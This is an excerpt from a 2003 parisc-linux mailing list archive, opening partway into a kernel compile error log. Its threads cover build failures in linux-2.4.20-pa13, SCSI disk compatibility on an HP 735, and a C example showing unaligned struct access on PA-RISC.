sys_parisc32.c:1976: dereferencing pointer to incomplete type
sys_parisc32.c:1976: dereferencing pointer to incomplete type
sys_parisc32.c:1976: dereferencing pointer to incomplete type
sys_parisc32.c:1976: dereferencing pointer to incomplete type
sys_parisc32.c:1976: dereferencing pointer to incomplete type
sys_parisc32.c:1976: dereferencing pointer to incomplete type
sys_parisc32.c:1976: dereferencing pointer to incomplete type
sys_parisc32.c:1976: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:1977: dereferencing pointer to incomplete type
sys_parisc32.c:1977: dereferencing pointer to incomplete type
sys_parisc32.c:1977: dereferencing pointer to incomplete type
sys_parisc32.c:1977: dereferencing pointer to incomplete type
sys_parisc32.c:1977: dereferencing pointer to incomplete type
sys_parisc32.c:1977: dereferencing pointer to incomplete type
sys_parisc32.c:1977: dereferencing pointer to incomplete type
sys_parisc32.c:1977: dereferencing pointer to incomplete type
sys_parisc32.c:1977: dereferencing pointer to incomplete type
sys_parisc32.c:1977: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:1981: sizeof applied to an incomplete type
sys_parisc32.c:1982: dereferencing pointer to incomplete type
sys_parisc32.c: In function `put_cmsg32':
sys_parisc32.c:2005: storage size of `cmhdr' isn't known
sys_parisc32.c:2006: sizeof applied to an incomplete type
sys_parisc32.c:2008: dereferencing pointer to incomplete type
sys_parisc32.c:2023: sizeof applied to an incomplete type
sys_parisc32.c:2023: sizeof applied to an incomplete type
sys_parisc32.c:2025: sizeof applied to an incomplete type
sys_parisc32.c:2005: warning: unused variable `cmhdr'
sys_parisc32.c: In function `scm_detach_fds32':
sys_parisc32.c:2033: sizeof applied to an incomplete type
sys_parisc32.c:2042: sizeof applied to an incomplete type
sys_parisc32.c:2059: sizeof applied to an incomplete type
sys_parisc32.c:2061: dereferencing pointer to incomplete type
sys_parisc32.c:2061: dereferencing pointer to incomplete type
sys_parisc32.c:2061: dereferencing pointer to incomplete type
sys_parisc32.c:2061: dereferencing pointer to incomplete type
sys_parisc32.c:2061: dereferencing pointer to incomplete type
sys_parisc32.c:2061: dereferencing pointer to incomplete type
sys_parisc32.c:2061: dereferencing pointer to incomplete type
sys_parisc32.c:2061: dereferencing pointer to incomplete type
sys_parisc32.c:2061: dereferencing pointer to incomplete type
sys_parisc32.c:2061: dereferencing pointer to incomplete type
sys_parisc32.c:2063: dereferencing pointer to incomplete type
sys_parisc32.c:2063: dereferencing pointer to incomplete type
sys_parisc32.c:2063: dereferencing pointer to incomplete type
sys_parisc32.c:2063: dereferencing pointer to incomplete type
sys_parisc32.c:2063: dereferencing pointer to incomplete type
sys_parisc32.c:2063: dereferencing pointer to incomplete type
sys_parisc32.c:2063: dereferencing pointer to incomplete type
sys_parisc32.c:2063: dereferencing pointer to incomplete type
sys_parisc32.c:2063: dereferencing pointer to incomplete type
sys_parisc32.c:2063: dereferencing pointer to incomplete type
sys_parisc32.c:2065: dereferencing pointer to incomplete type
sys_parisc32.c:2065: dereferencing pointer to incomplete type
sys_parisc32.c:2065: dereferencing pointer to incomplete type
sys_parisc32.c:2065: dereferencing pointer to incomplete type
sys_parisc32.c:2065: dereferencing pointer to incomplete type
sys_parisc32.c:2065: dereferencing pointer to incomplete type
sys_parisc32.c:2065: dereferencing pointer to incomplete type
sys_parisc32.c:2065: dereferencing pointer to incomplete type
sys_parisc32.c:2065: dereferencing pointer to incomplete type
sys_parisc32.c:2065: dereferencing pointer to incomplete type
sys_parisc32.c:2067: sizeof applied to an incomplete type
sys_parisc32.c: In function `cmsg32_recvmsg_fixup':
sys_parisc32.c:2136: dereferencing pointer to incomplete type
sys_parisc32.c:2137: dereferencing pointer to incomplete type
sys_parisc32.c:2138: dereferencing pointer to incomplete type
sys_parisc32.c:2140: dereferencing pointer to incomplete type
sys_parisc32.c:2141: sizeof applied to an incomplete type
sys_parisc32.c:2144: sizeof applied to an incomplete type
sys_parisc32.c:2145: dereferencing pointer to incomplete type
sys_parisc32.c:2130: warning: `clen64' might be used uninitialized in this
function
sys_parisc32.c: In function `sys32_recvmsg':
sys_parisc32.c:2234: dereferencing pointer to incomplete type
sys_parisc32.c:2284: `__kernel_size_t32' undeclared (first use in this
function)
sys_parisc32.c:2284: parse error before "uclen"
sys_parisc32.c:2285: dereferencing pointer to incomplete type
sys_parisc32.c:2285: dereferencing pointer to incomplete type
sys_parisc32.c:2285: `uclen' undeclared (first use in this function)
sys_parisc32.c:2285: dereferencing pointer to incomplete type
sys_parisc32.c:2285: dereferencing pointer to incomplete type
sys_parisc32.c:2285: dereferencing pointer to incomplete type
sys_parisc32.c:2285: dereferencing pointer to incomplete type
sys_parisc32.c:2285: dereferencing pointer to incomplete type
sys_parisc32.c:2285: dereferencing pointer to incomplete type
sys_parisc32.c:2285: dereferencing pointer to incomplete type
sys_parisc32.c:2285: dereferencing pointer to incomplete type
sys_parisc32.c:2283: warning: unused variable `ucmsg_ptr'
sys_parisc32.c:2288: dereferencing pointer to incomplete type
sys_parisc32.c:2288: dereferencing pointer to incomplete type
sys_parisc32.c:2288: dereferencing pointer to incomplete type
sys_parisc32.c:2288: dereferencing pointer to incomplete type
sys_parisc32.c:2288: dereferencing pointer to incomplete type
sys_parisc32.c:2288: dereferencing pointer to incomplete type
sys_parisc32.c:2288: dereferencing pointer to incomplete type
sys_parisc32.c:2288: dereferencing pointer to incomplete type
sys_parisc32.c:2288: dereferencing pointer to incomplete type
sys_parisc32.c:2288: dereferencing pointer to incomplete type
sys_parisc32.c:2224: warning: `uaddr_len' might be used uninitialized in
this function
sys_parisc32.c: In function `get_fd_set32':
sys_parisc32.c:2526: warning: left shift count >= width of type
sys_parisc32.c: In function `set_fd_set32':
sys_parisc32.c:2555: warning: right shift count >= width of type
sys_parisc32.c: At top level:
sys_parisc32.c:2782: parse error before "__kernel_ino_t32"
sys_parisc32.c:2782: warning: no semicolon at end of struct or union
sys_parisc32.c:2786: parse error before '}' token
sys_parisc32.c:2792: parse error before "__kernel_ino_t32"
sys_parisc32.c:2792: warning: no semicolon at end of struct or union
sys_parisc32.c:2794: parse error before '}' token
sys_parisc32.c:2798: parse error before "__kernel_caddr_t32"
sys_parisc32.c:2798: warning: no semicolon at end of struct or union
sys_parisc32.c:2801: parse error before "ug_udimap"
sys_parisc32.c:2801: warning: type defaults to `int' in declaration of
`ug_udimap'
sys_parisc32.c:2801: warning: data definition has no type or storage class
sys_parisc32.c:2804: parse error before "ug_gdimap"
sys_parisc32.c:2804: warning: type defaults to `int' in declaration of
`ug_gdimap'
sys_parisc32.c:2804: warning: data definition has no type or storage class
sys_parisc32.c:2813: field `u_export' has incomplete type
sys_parisc32.c:2814: field `u_umap' has incomplete type
sys_parisc32.c:2815: field `u_getfh' has incomplete type
sys_parisc32.c:2917: parse error before "__kernel_time_t32"
sys_parisc32.c:2917: warning: no semicolon at end of struct or union
sys_parisc32.c:2918: warning: type defaults to `int' in declaration of
`dqb_itime'
sys_parisc32.c:2918: warning: data definition has no type or storage class
sys_parisc32.c: In function `sys32_quotactl':
sys_parisc32.c:2937: sizeof applied to an incomplete type
sys_parisc32.c:2939: dereferencing pointer to incomplete type
sys_parisc32.c:2940: dereferencing pointer to incomplete type
sys_parisc32.c:2953: dereferencing pointer to incomplete type
sys_parisc32.c:2954: dereferencing pointer to incomplete type
sys_parisc32.c:2956: sizeof applied to an incomplete type
sys_parisc32.c:3008:1: warning: "CP" redefined
sys_parisc32.c:3001:1: warning: this is the location of the previous
definition
make[1]: *** [sys_parisc32.o] Error 1
make[1]: Leaving directory `/usr/src/linux-2.4.20-pa13/arch/parisc/kernel'
make: *** [_dir_arch/parisc/kernel] Error 2

	Anyone know something about this?

-----------------------------------------------------------------------
              Leandro Marcondes Farinati
                    Software Developer

*   leandro.farinati@hp.com
*   +55-51-3316-2852 Telnet  725-2852
FAX +55-51-3316-2754 Mobile +55-51-9965-8020





From - Thu Nov 08 21:26:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ibm-disk on a hp 735/125
Date: Fri, 10 Jan 2003 16:58:00 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <20030110145800.GH2160@aurinko.ntc.nokia.com>
References: <Pine.GSO.4.51.0301091743500.9837@sunhalle66> <20030110124210.GG2160@aurinko.ntc.nokia.com> <1042203531.19627.11.camel@linux>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416622089 19650 80.91.229.3 (22 Nov 2014 02:08:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 07:58:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9A3A44829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 07:58:14 -0700 (MST)
Original-Received: from esvir05nok.ntc.nokia.com (esvir05nokt.ntc.nokia.com [172.21.143.37])
	by mgw-x1.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id h0AEvE003075
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 16:57:14 +0200 (EET)
Original-Received: from esebh003.NOE.Nokia.com (unverified) by esvir05nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T5fb56f9b3fac158f25441@esvir05nok.ntc.nokia.com> for <parisc-linux@lists.parisc-linux.org>;
 Fri, 10 Jan 2003 16:58:03 +0200
Original-Received: from aurinko.ntc.nokia.com ([172.22.105.49]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.5329);
	 Fri, 10 Jan 2003 16:58:03 +0200
Original-Received: (from mnahkola@localhost)
	by aurinko.ntc.nokia.com (8.11.6/8.11.6) id h0AEw1913974
	for parisc-linux@lists.parisc-linux.org; Fri, 10 Jan 2003 16:58:02 +0200 (EET)
Content-Disposition: inline
In-Reply-To: <1042203531.19627.11.camel@linux>
User-Agent: Mutt/1.4i
X-OriginalArrivalTime: 10 Jan 2003 14:58:03.0233 (UTC) FILETIME=[ACCBDD10:01C2B8B8]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17314

On Fri, Jan 10, 2003 at 01:58:51PM +0100, ext Joerg Krebs wrote:
> Am Fre, 2003-01-10 um 13.42 schrieb Nahkola Mikko:

> > > im running a hp 735/125 with a st31200wd 1GB harddisk, connected to the
> > > fast-wide scsi-connector, which run's quit nice.
> > > But now I want to replace the disk with a larger 4,3GB ibm dcas-34330

> > I'd say that probably the IBM disk isn't high-voltage. The 735's 
> > fast-wide is fast-wide-highvoltage-differential, back then they thought 

> Yes you are right, I found the HP 735 Hardware manual on the openpa
> Webside and there i found that the wide-scsi connector is just for HVD
> Do you know if any HVD disk is detected by the hp or are there just some
> special disks for the hp ?

Well, yes on both counts. Any HVD disks should be detected... but at the 
time these boxes were made, there were supposed to be certain differences 
between HP and regular disks. Or maybe that was just HP marketing.

At any rate, there _was_ (and still is, BTW) a way to recognize a HP disk 
by the firmware - and there were differences between "workstation" and 
"server" disks too, _and_ IIRC "workstation" disks weren't "expected to 
work" in servers, the other way round it was "expected to work" but "unsupported" 
or something. Don't remember.

If I only could remember what the exact identification thing was ... 
maybe a letter somewhere in the firmware version string.

But since HP-UX 10.20 by the latest, probably earlier too, some people 
have been using whatever disks they get as long as the SCSI interfaces 
are compatible. I've never heard of problems. 

Me? I recycle old HP disks in PCs... 


-- 
Mikko Nahkola   <mikko.nahkola@nokia.com>
Tre-IN sysadmin <mnahkola@trein.ntc.nokia.com>


From - Thu Nov 08 21:26:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned accesses
Date: Fri, 10 Jan 2003 14:45:57 +0100
Lines: 162
Approved: news@gmane.org
Message-ID: <3E1AA8D5000009DC@ocpmta8.freegates.net>
References: <3E1AA8D500000877@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622090 19654 80.91.229.3 (22 Nov 2014 02:08:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 06:46:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 373A84829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 06:46:35 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18WzU7-0006gJ-00; Fri, 10 Jan 2003 14:46:07 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 10 Jan 2003 14:45:57 +0100
In-Reply-To: <3E1AA8D500000877@ocpmta8.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17315

>-- Original Message --
>From: jsoe0708@tiscali.be
>Subject: Re: [parisc-linux] unaligned accesses
>To: "Randolph Chung" <randolph@tausq.org>
>Cc: parisc-linux@lists.parisc-linux.org
>Date: Fri, 10 Jan 2003 09:24:40 +0100
>
>
>
>>-- Original Message --
>>Date: Thu, 9 Jan 2003 23:36:59 -0800
>>From: Randolph Chung <randolph@tausq.org>
>>To: jsoe0708@tiscali.be
>>Cc: parisc-linux@lists.parisc-linux.org
>>Subject: Re: [parisc-linux] unaligned accesses
>>Reply-To: Randolph Chung <randolph@tausq.org>
>>
>>
>...
>>> hmmm buggy: not always, the triky case is when you have to access to
>those
>>> kind of data encapsulated into a structure. I do not yet find any wor=
karound
>>> or how to fix this kind of pb. Any idea (gcc-3.3?)?
>>
>>eh? what do you mean?
>>
>well I will try to find back the example I encounter (somewhere in jfs-1=
.0.23
>IIRC)
>
Yes here it was in evms(1.1.0 since the bug was fix but it is still a sam=
ple
:-)

[this small example was composed of code coming from evms-1.1.0]
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>

typedef u_int8_t  BOOLEAN;

#ifndef TRUE
  #define TRUE  1
#endif
#ifndef FALSE
  #define FALSE 0
#endif

struct partition {
    unsigned char boot_ind;     /* 0x80 - active */
    unsigned char head;     /* starting head */
    unsigned char sector;       /* starting sector */
    unsigned char cyl;      /* starting cylinder */
    unsigned char sys_ind;      /* What partition type */
    unsigned char end_head;     /* end head */
    unsigned char end_sector;   /* end sector */
    unsigned char end_cyl;      /* end cylinder */
    unsigned int start_sect;    /* starting sector counting from 0 */
    unsigned int nr_sects;      /* nr of sectors in partition */
};

BOOLEAN isa_null_partition_record(struct partition *p)
{
    int          i;
    u_int32_t   *uip =3D (u_int32_t *) p;

    for (i=3D0; i<4; i++) {
        if (*uip!=3D0x00) return FALSE;
    }

    return TRUE;
}

int main(int argc, char * * argv, char * * env) {

    struct partition p1, p2;

    p1.boot_ind=3D0;
    p1.head=3D0;
    p1.sector=3D0;
    p1.cyl=3D0;
    p1.sys_ind=3D0;
    p1.end_head=3D0;
    p1.end_sector=3D0;
    p1.end_cyl=3D0;
    p1.start_sect=3D0;
    p1.nr_sects=3D0;
 
    printf("Is that p1 is a null partition: %u\n", isa_null_partition_rec=
ord(&p1));

    p2.boot_ind=3D1;
    p2.head=3D2;
    p2.sector=3D3;
    p2.cyl=3D4;
    p2.sys_ind=3D5;
    p2.end_head=3D6;
    p2.end_sector=3D7;
    p2.end_cyl=3D8;
    p2.start_sect=3D9;
    p2.nr_sects=3D10;
 
    printf("Is that p2 is a null partition: %u\n", isa_null_partition_rec=
ord(&p2));
    return 0;
}

Unfortunately this doesn't reproduce the actual problem of which I save
the following traces (from the evms_vgscan 1.1.0: once again this was fix=

since next release):
...
(isa_valid_partition_record) file checks.c
part.start_sect add: 0x27116
part.start_sect    : 0
part.nr_sects   add: 0x2711a
part.nr_sects      : 0
p            add: 0x2710e
p.boot_ind   add: 0x2710e
p.head       add: 0x2710f
p.sector     add: 0x27110
p.cyl        add: 0x27111
p.sys_ind    add: 0x27112
p.end_head   add: 0x27113
p.end_sector add: 0x27114
p.end_cyl    add: 0x27115
p.start_sect add: 0x27116
p.start_sect    : 0
p.nr_sects   add: 0x2711a
p.nr_sects      : 0
p            add: 0x2710e
p.boot_ind   add: 0x2710e
p.head       add: 0x2710f
p.sector     add: 0x27110
p.cyl        add: 0x27111
p.sys_ind    add: 0x27112
p.end_head   add: 0x27113
p.end_sector add: 0x27114
p.end_cyl    add: 0x27115
p.start_sect add: 0x27116
p.start_sect    : 0
p.nr_sects   add: 0x2711a
p.nr_sects      : 0
...

in which we can see that p.start_sect (an int) address (0x27166 =3D=3D 16=
0102)
is not well align (160102/4=3D40025.5).

HTH,
    Joel


********************************************
Promo Tiscali ADSL: 35 Euros/mois, 1er mois et activation =3D 0 Euro http=
://adsl.tiscali.be





From - Thu Nov 08 21:26:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel compilation
Date: Fri, 10 Jan 2003 16:16:52 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <8C0EFF88-24AE-11D7-9BD3-0030656F07A2@esiee.fr>
References: <9A0482A7BD2506488AD9417C93F3714F0107AE4C@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v551)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622090 19659 80.91.229.3 (22 Nov 2014 02:08:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:10 +0000 (UTC)
Cc: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
To: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 08:17:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87A38484C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 08:17:00 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 6B47949D89; Fri, 10 Jan 2003 16:16:53 +0100 (CET)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id D29A549D80; Fri, 10 Jan 2003 16:16:52 +0100 (CET)
In-Reply-To: <9A0482A7BD2506488AD9417C93F3714F0107AE4C@xsp01.brazil.hp.com>
X-Mailer: Apple Mail (2.551)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17316

On vendredi, jan 10, 2003, at 14:12 Europe/Paris, FARINATI,LEANDRO 
(HP-Brazil,ex1) wrote:

> Hi people,
> 	
> 	I'm trying compile the kernel linux-2.4.20-pa13 in a 64 bit machine
where did you get that kernel source from ?


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:26:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ibm-disk on a hp 735/125
Date: Fri, 10 Jan 2003 15:33:13 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20030110153313.V26554@parcelfarce.linux.theplanet.co.uk>
References: <Pine.GSO.4.51.0301091743500.9837@sunhalle66> <20030110124210.GG2160@aurinko.ntc.nokia.com> <1042203531.19627.11.camel@linux> <20030110145800.GH2160@aurinko.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622090 19671 80.91.229.3 (22 Nov 2014 02:08:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 08:33:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id BAA01484A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 08:33:21 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18X19m-0006dF-00; Fri, 10 Jan 2003 15:33:14 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030110145800.GH2160@aurinko.ntc.nokia.com>; from mnahkola@trinms01.ntc.nokia.com on Fri, Jan 10, 2003 at 04:58:00PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17317

On Fri, Jan 10, 2003 at 04:58:00PM +0200, Nahkola Mikko wrote:
> Well, yes on both counts. Any HVD disks should be detected... but at the 
> time these boxes were made, there were supposed to be certain differences 
> between HP and regular disks. Or maybe that was just HP marketing.
> 
> At any rate, there _was_ (and still is, BTW) a way to recognize a HP disk 
> by the firmware - and there were differences between "workstation" and 
> "server" disks too, _and_ IIRC "workstation" disks weren't "expected to 
> work" in servers, the other way round it was "expected to work" but "unsupported" 
> or something. Don't remember.

That's right.  HP (in common with other big-iron hardware vendors) has
custom disk firmware which has certain guarantees which are useful for
real world issues but slow down benchmarks.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel compilation
Date: Fri, 10 Jan 2003 16:33:26 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <DCCEEF34-24B0-11D7-9BD3-0030656F07A2@esiee.fr>
References: <9A0482A7BD2506488AD9417C93F3714F010AB58C@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v551)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622091 19673 80.91.229.3 (22 Nov 2014 02:08:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:11 +0000 (UTC)
Cc: PArisc-linux@lists.parisc-linux.org
To: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 08:33:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id B5028484A
	for <PArisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 08:33:34 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id C076049D91; Fri, 10 Jan 2003 16:33:27 +0100 (CET)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 2D7D049D83; Fri, 10 Jan 2003 16:33:27 +0100 (CET)
In-Reply-To: <9A0482A7BD2506488AD9417C93F3714F010AB58C@xsp01.brazil.hp.com>
X-Mailer: Apple Mail (2.551)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17318

On vendredi, jan 10, 2003, at 16:28 Europe/Paris, FARINATI,LEANDRO 
(HP-Brazil,ex1) wrote:

> I get in http://ftp.parisc-linux.org/cvs/
I can't find pa13 there.
Anyway, please try with the latest version: 2.4.20-pa18. This bug (if 
it's one) may already have been corrected.

FWIW, do not answer me personally, please always CC the m-l.


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:26:13 2018
